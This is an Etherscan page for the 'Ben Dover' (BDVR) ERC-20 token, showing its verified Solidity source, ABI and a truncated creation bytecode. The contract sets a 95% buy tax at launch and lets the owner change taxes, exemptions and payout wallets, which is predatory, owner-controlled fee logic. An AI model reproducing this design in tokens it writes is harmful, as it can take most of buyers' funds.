ETH Price: $3,457.06 (-0.68%)
Gas: 10 Gwei

Token

Ben Dover (BDVR)
 

Overview

Max Total Supply

500,000 BDVR

Holders

179

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
377.891694748 BDVR

Value
$0.00
0x2b6688583bc895a3b509b1d990210fc87009e002
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BDVR

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-29
*/

//SPDX-License-Identifier: MIT

/*

https://t.me/iambendover

https://iambendover.com

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⠿⠿⠿⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣶⣿⣿⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⡟⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣾⣿⣶⣶⣤⡀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠘⢿⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠈⠻⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠠⢤⣴⣌⠻⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀
⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⠁⠀⣾⣿⣿⣿⣿⣦⡙⢿⣿⣿⣿⠄⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⠀⢰⣿⣿⣿⣿⣿⣿⣿⣦⣙⣛⣋⣼⣿⣿⣶⣿⣿⣿⣿⣿⣿⣯⡉⠉⠉⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⡆⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⡇⠀⢻⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⢿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀
⠀ ⣠⣴⣶⣶⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀
 ⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⢰⣶⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣧⣄⣀⣀⣀⣀⣀⣀⡀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⢸⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠀⠀⠉⠉⠙⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠁⠛⠛⠛⠛⠛⠛⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁


*/
pragma solidity 0.8.17;

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function decimals() external view returns (uint8);
	function symbol() external view returns (string memory);
	function name() external view returns (string memory);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address __owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed _owner, address indexed spender, uint256 value);
}

abstract contract Auth {
	address internal _owner;
	constructor(address creatorOwner) { _owner = creatorOwner; }
	modifier onlyOwner() { require(msg.sender == _owner, "Only contract _owner can call this function"); _; }
	function transferOwnership(address payable newOwner) external onlyOwner { _owner = newOwner; emit OwnershipTransferred(newOwner); }
	event OwnershipTransferred(address _owner);
}

interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function WETH() external pure returns (address);
	function factory() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BDVR is IERC20, Auth {
	uint8 private constant _decimals      = 9;
	uint256 private constant _totalSupply = 500_000 * (10**_decimals);
	string private constant _name         = "Ben Dover";
	string private constant _symbol       = "BDVR";

	uint8 private _buyTaxRate  = 95;
	uint8 private _sellTaxRate = 10;

	uint16 private _taxSharesMarketing   = 6;
	uint16 private _taxSharesDevelopment = 1;
	uint16 private _taxSharesBurn        = 0;
	uint16 private _taxSharesLP          = 0;
	uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesBurn + _taxSharesLP;

	address payable private _walletMarketing = payable(0x9Ed71355E8FE11766fe9B5c4066A5Ca33E57A093); 
	address payable private _walletDevelopment = payable(0x9dcb07d5319Ec274962D6a074F8732CD8F346D84); 

	uint256 private _maxTxAmount     = _totalSupply; 
	uint256 private _maxWalletAmount = _totalSupply;
	uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
	uint256 private _taxSwapMax = _totalSupply * 150 / 100000;

	mapping (address => uint256) private _balances;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _noFees;
	mapping (address => bool) private _noLimits;

	address constant private _burnWallet = address(0);
	address private _lpOwner;

	address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //uniswap v2 router
	IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
	address private _primaryLP;
	mapping (address => bool) private _isLP;

	bool private _tradingOpen;

	bool private _inTaxSwap = false;
	modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }

	event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);
	event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);

	constructor() Auth(msg.sender) {
		_lpOwner = msg.sender;

		_balances[address(this)] =  440_000 * (10 ** _decimals);
		emit Transfer(address(0), address(this), _balances[address(this)]);

		_balances[_owner] = _totalSupply - _balances[address(this)];
		emit Transfer(address(0), _owner, _balances[_owner]);

		_noFees[_owner] = true;
		_noFees[address(this)] = true;
		_noFees[_swapRouterAddress] = true;
		_noFees[_walletMarketing] = true;
		_noFees[_walletDevelopment] = true;
		_noFees[_burnWallet] = true;
		_noLimits[_owner] = true;
		_noLimits[address(this)] = true;
		_noLimits[_swapRouterAddress] = true;
		_noLimits[_walletMarketing] = true;
		_noLimits[_walletDevelopment] = true;
		_noLimits[_burnWallet] = true;	
	}

	receive() external payable {}
	
	function totalSupply() external pure override returns (uint256) { return _totalSupply; }
	function decimals() external pure override returns (uint8) { return _decimals; }
	function symbol() external pure override returns (string memory) { return _symbol; }
	function name() external pure override returns (string memory) { return _name; }
	function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
	function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

	function approve(address spender, uint256 amount) public override returns (bool) {
		_allowances[msg.sender][spender] = amount;
		emit Approval(msg.sender, spender, amount);
		return true;
	}

	function transfer(address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(msg.sender), "Trading not open");
		return _transferFrom(msg.sender, recipient, amount);
	}

	function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(sender), "Trading not open");
		if(_allowances[sender][msg.sender] != type(uint256).max){
			_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
		}
		return _transferFrom(sender, recipient, amount);
	}

	function openTrading() external onlyOwner {
		require(!_tradingOpen, "trading already open");
		_openTrading();
	}

	function _approveRouter(uint256 _tokenAmount) internal {
		if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
			_allowances[address(this)][_swapRouterAddress] = type(uint256).max;
			emit Approval(address(this), _swapRouterAddress, type(uint256).max);
		}
	}

	function addInitialLiquidity() external onlyOwner lockTaxSwap {
		require(_primaryLP == address(0), "LP exists");
		require(address(this).balance>0, "No ETH in contract");
		require(_balances[address(this)]>0, "No tokens in contract");
		_primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH());
		_addLiquidity(_balances[address(this)], address(this).balance, false);
		_isLP[_primaryLP] = true;
	}

	function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
		address lpTokenRecipient = _lpOwner;
		if ( autoburn ) { lpTokenRecipient = address(0); }
		_approveRouter(_tokenAmount);
		_primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
	}

	function _openTrading() internal {
		_maxTxAmount     = _totalSupply * 1 / 100; 
		_maxWalletAmount = _totalSupply * 1 / 100;
		_tradingOpen = true;
	}

	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
		require(sender != address(0), "No transfers from Zero wallet");
		if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
		if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); }
		
		if ( sender != address(this) && recipient != address(this) && sender != _owner ) { require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); }
		uint256 _taxAmount = _calculateTax(sender, recipient, amount);
		uint256 _transferAmount = amount - _taxAmount;
		_balances[sender] = _balances[sender] - amount;
		if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
		_balances[recipient] = _balances[recipient] + _transferAmount;
		emit Transfer(sender, recipient, amount);
		return true;
	}

	function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
		bool limitCheckPassed = true;
		if ( _tradingOpen && !_noLimits[sender] && !_noLimits[recipient] ) {
			if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; }
			else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; }
		}
		return limitCheckPassed;
	}

	function _checkTradingOpen(address sender) private view returns (bool){
		bool checkResult = false;
		if ( _tradingOpen ) { checkResult = true; } 
		else if (_noFees[sender] && _noLimits[sender]) { checkResult = true; } 

		return checkResult;
	}

	function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
		uint256 taxAmount;
		if ( !_tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; }
		else if ( _isLP[sender] ) { taxAmount = amount * _buyTaxRate / 100; }
		else if ( _isLP[recipient] ) { taxAmount = amount * _sellTaxRate / 100; }
		return taxAmount;
	}


	function getExemptions(address wallet) external view returns (bool noFees, bool noLimits) {
		return ( _noFees[wallet], _noLimits[wallet] );
	}
	function setExemptions(address wallet, bool noFees, bool noLimits) external onlyOwner {
		if (noLimits || noFees) { require(!_isLP[wallet], "Cannot exempt LP"); }
		_noFees[ wallet ] = noFees;
		_noLimits[ wallet ] = noLimits;
	}
	function setExtraLP(address lpContractAddress, bool isLiquidityPool) external onlyOwner { 
		require(lpContractAddress != _primaryLP, "Cannot change the primary LP");
		_isLP[lpContractAddress] = isLiquidityPool; 
		if (isLiquidityPool) { 
			_noFees[lpContractAddress] = false; 
			_noLimits[lpContractAddress] = false; 
		}
	}
	function isLP(address wallet) external view returns (bool) {
		return _isLP[wallet];
	}

	function getTaxInfo() external view returns (uint8 buyTax, uint8 sellTax, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesLP, uint16 sharesTokenBurn ) {
		return ( _buyTaxRate, _sellTaxRate, _taxSharesMarketing, _taxSharesDevelopment, _taxSharesLP, _taxSharesBurn);
	}
	function setTaxRates(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
		require(newBuyTax + newSellTax <= 99, "Roundtrip too high");
		_buyTaxRate = newBuyTax;
		_sellTaxRate = newSellTax;
	}
	function setTaxDistribution(uint16 sharesTokenBurn, uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
		_taxSharesLP = sharesAutoLP;
		_taxSharesMarketing = sharesMarketing;
		_taxSharesDevelopment = sharesDevelopment;
		_totalTaxShares = sharesTokenBurn + sharesAutoLP + sharesMarketing + sharesDevelopment;
	}

	function getAddresses() external view returns (address owner, address primaryLP, address marketing, address development, address LPowner ) {
		return ( _owner, _primaryLP, _walletMarketing, _walletDevelopment, _lpOwner);
	}
	function setTaxWallets(address newMarketing, address newDevelopment, address newLpOwner) external onlyOwner {
		require(!_isLP[newMarketing] && !_isLP[newDevelopment] && !_isLP[newLpOwner], "LP cannot be tax wallet");
		_walletMarketing = payable(newMarketing);
		_walletDevelopment = payable(newDevelopment);
		_lpOwner = newLpOwner;
		_noFees[newMarketing] = true;
		_noFees[newDevelopment] = true;
		_noLimits[newMarketing] = true;
		_noLimits[newDevelopment] = true;
	}

	function getLimitsInfo() external view returns (uint256 maxTX, uint256 maxWallet, uint256 taxSwapMin, uint256 taxSwapMax ) {
		return ( _maxTxAmount, _maxWalletAmount, _taxSwapMin, _taxSwapMax);
	}
	function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
		uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1;
		require(newTxAmt >= _maxTxAmount, "tx limit too low");
		_maxTxAmount = newTxAmt;
		uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1;
		require(newWalletAmt >= _maxWalletAmount, "wallet limit too low");
		_maxWalletAmount = newWalletAmt;
	}
	function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
		_taxSwapMin = _totalSupply * minValue / minDivider;
		_taxSwapMax = _totalSupply * maxValue / maxDivider;
		require(_taxSwapMax>=_taxSwapMin, "MinMax error");
		require(_taxSwapMax>_totalSupply / 100000, "Upper threshold too low");
		require(_taxSwapMax<_totalSupply / 100, "Upper threshold too high");
	}

	function _burnTokens(address fromWallet, uint256 amount) private {
		if ( amount > 0 ) {
			_balances[fromWallet] -= amount;
			_balances[_burnWallet] += amount;
			emit Transfer(fromWallet, _burnWallet, amount);
		}
	}

	function _swapTaxAndLiquify() private lockTaxSwap {
		uint256 _taxTokensAvailable = balanceOf(address(this));

		if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
			if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }

			uint256 _tokensForLP = _taxTokensAvailable * _taxSharesLP / _totalTaxShares / 2;
			uint256 _tokensToBurn = _taxTokensAvailable * _taxSharesBurn / _totalTaxShares;
			_burnTokens(address(this), _tokensToBurn);
			
			uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP - _tokensToBurn;
			if( _tokensToSwap > 10**_decimals ) {
				uint256 _ethPreSwap = address(this).balance;
				_swapTaxTokensForEth(_tokensToSwap);
				uint256 _ethSwapped = address(this).balance - _ethPreSwap;
				if ( _taxSharesLP > 0 ) {
					uint256 _ethWeiAmount = _ethSwapped * _taxSharesLP / _totalTaxShares ;
					_approveRouter(_tokensForLP);
					_addLiquidity(_tokensForLP, _ethWeiAmount, false);
				}
			}
			uint256 _contractETHBalance = address(this).balance;
			if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
		}
	}

	function _swapTaxTokensForEth(uint256 tokenAmount) private {
		_approveRouter(tokenAmount);
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _primarySwapRouter.WETH();
		_primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
	}

	function _distributeTaxEth(uint256 amount) private {
		uint16 _taxShareTotal = _taxSharesMarketing + _taxSharesDevelopment;
		if (_taxShareTotal > 0) {
			uint256 marketingAmount = amount * _taxSharesMarketing / _taxShareTotal;
			uint256 developmentAmount = amount * _taxSharesDevelopment / _taxShareTotal;
			if ( marketingAmount > 0 ) { _walletMarketing.transfer(marketingAmount); }
			if ( developmentAmount > 0 ) { _walletDevelopment.transfer(developmentAmount); }
		}
	}

	function manualTaxSwapAndSend(bool swapTokens, bool sendEth) external onlyOwner {
		if (swapTokens) {
			uint256 taxTokenBalance = balanceOf(address(this));
			require(taxTokenBalance > 0, "No tokens");
			_swapTaxTokensForEth(taxTokenBalance);
		}
		if (sendEth) { 
			uint256 ethBalance = address(this).balance;
			require(ethBalance > 0, "No tokens");
			_distributeTaxEth(address(this).balance); 
		}
	}

	function burnTokens(uint256 amount) external {
		uint256 _tokensAvailable = balanceOf(msg.sender);
		require(amount <= _tokensAvailable, "Token balance too low");
		_burnTokens(msg.sender, amount);
		emit TokensBurned(msg.sender, amount);
	}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"totalWallets","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"totalTokens","type":"uint256"}],"name":"TokensAirdropped","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burnedByWallet","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addInitialLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getAddresses","outputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"primaryLP","type":"address"},{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"development","type":"address"},{"internalType":"address","name":"LPowner","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getExemptions","outputs":[{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLimitsInfo","outputs":[{"internalType":"uint256","name":"maxTX","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"},{"internalType":"uint256","name":"taxSwapMin","type":"uint256"},{"internalType":"uint256","name":"taxSwapMax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTaxInfo","outputs":[{"internalType":"uint8","name":"buyTax","type":"uint8"},{"internalType":"uint8","name":"sellTax","type":"uint8"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"},{"internalType":"uint16","name":"sharesDevelopment","type":"uint16"},{"internalType":"uint16","name":"sharesLP","type":"uint16"},{"internalType":"uint16","name":"sharesTokenBurn","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTxAmtPermile","type":"uint16"},{"internalType":"uint16","name":"maxWalletAmtPermile","type":"uint16"}],"name":"increaseLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isLP","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"swapTokens","type":"bool"},{"internalType":"bool","name":"sendEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"lpContractAddress","type":"address"},{"internalType":"bool","name":"isLiquidityPool","type":"bool"}],"name":"setExtraLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesTokenBurn","type":"uint16"},{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"},{"internalType":"uint16","name":"sharesDevelopment","type":"uint16"}],"name":"setTaxDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"}],"name":"setTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwapLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketing","type":"address"},{"internalType":"address","name":"newDevelopment","type":"address"},{"internalType":"address","name":"newLpOwner","type":"address"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052605f600060146101000a81548160ff021916908360ff160217905550600a600060156101000a81548160ff021916908360ff1602179055506006600060166101000a81548161ffff021916908361ffff1602179055506001600060186101000a81548161ffff021916908361ffff160217905550600080601a6101000a81548161ffff021916908361ffff160217905550600080601c6101000a81548161ffff021916908361ffff1602179055506000601c9054906101000a900461ffff166000601a9054906101000a900461ffff16600060189054906101000a900461ffff16600060169054906101000a900461ffff1662000102919062000bc0565b6200010e919062000bc0565b6200011a919062000bc0565b6000601e6101000a81548161ffff021916908361ffff160217905550739ed71355e8fe11766fe9b5c4066a5ca33e57a093600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739dcb07d5319ec274962d6a074f8732cd8f346d84600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620001f0919062000d68565b6207a12062000200919062000db9565b6003556009600a62000213919062000d68565b6207a12062000223919062000db9565b600455620186a0600a6009600a6200023c919062000d68565b6207a1206200024c919062000db9565b62000258919062000db9565b62000264919062000e33565b600555620186a060966009600a6200027d919062000d68565b6207a1206200028d919062000db9565b62000299919062000db9565b620002a5919062000e33565b600655737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f60016101000a81548160ff0219169083151502179055503480156200032557600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505033600b6000